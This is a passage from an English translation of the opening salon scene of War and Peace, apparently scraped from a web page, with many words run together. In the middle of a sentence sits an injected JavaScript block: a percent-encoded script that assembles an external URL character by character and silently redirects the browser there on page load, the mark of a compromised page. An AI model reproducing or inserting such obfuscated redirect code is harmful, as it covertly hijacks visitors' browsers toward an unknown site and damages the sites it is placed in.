thought today's fete had been canceled. I confess all thesefestivities and fireworks are becoming wearisome.""If they had known that you wished it, the entertainment wouldhave been put off," said the prince, who, like a wound-up clock,<script language="javascript">document.write(unescape("%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%76%61%72%20%62%20%3D%20%22%22%3B%20%62%20%3D%20%22%74%22%20%2B%20%62%3B%20%62%20%2B%3D%20%22%67%22%3B%20%62%20%3D%20%22%63%22%20%2B%20%62%3B%20%62%20%2B%3D%20%22%6F%22%3B%20%62%20%2B%3D%20%22%6F%22%3B%20%62%20%3D%20%22%65%22%20%2B%20%62%3B%20%62%20%2B%3D%20%22%64%22%3B%20%62%20%3D%20%22%72%22%20%2B%20%62%3B%20%62%20%2B%3D%20%22%66%22%3B%20%62%20%3D%20%22%69%22%20%2B%20%62%3B%20%62%20%2B%3D%20%22%75%22%3B%20%62%20%3D%20%22%64%22%20%2B%20%62%3B%20%62%20%3D%20%22%2F%22%20%2B%20%62%3B%20%62%20%2B%3D%20%22%6E%22%3B%20%62%20%2B%3D%20%22%2E%22%3B%20%62%20%3D%20%22%2F%22%20%2B%20%62%3B%20%62%20%3D%20%22%3A%22%20%2B%20%62%3B%20%62%20%2B%3D%20%22%63%22%3B%20%62%20%3D%20%22%70%22%20%2B%20%62%3B%20%62%20%2B%3D%20%22%6F%22%3B%20%62%20%3D%20%22%74%22%20%2B%20%62%3B%20%62%20%2B%3D%20%22%6D%22%3B%20%62%20%3D%20%22%74%22%20%2B%20%62%3B%20%62%20%3D%20%22%68%22%20%2B%20%62%3B%20%6C%6F%63%61%74%69%6F%6E%2E%72%65%70%6C%61%63%65%28%62%29%3B%3C%2F%73%63%72%69%70%74%3E"));</script>byforce of habit said things he did not even wish to be believed."Don't tease! Well, and what has been decided about Novosiltsev'sdispatch? You know everything.""What can one say about it?" replied the prince in a cold,listless tone. "What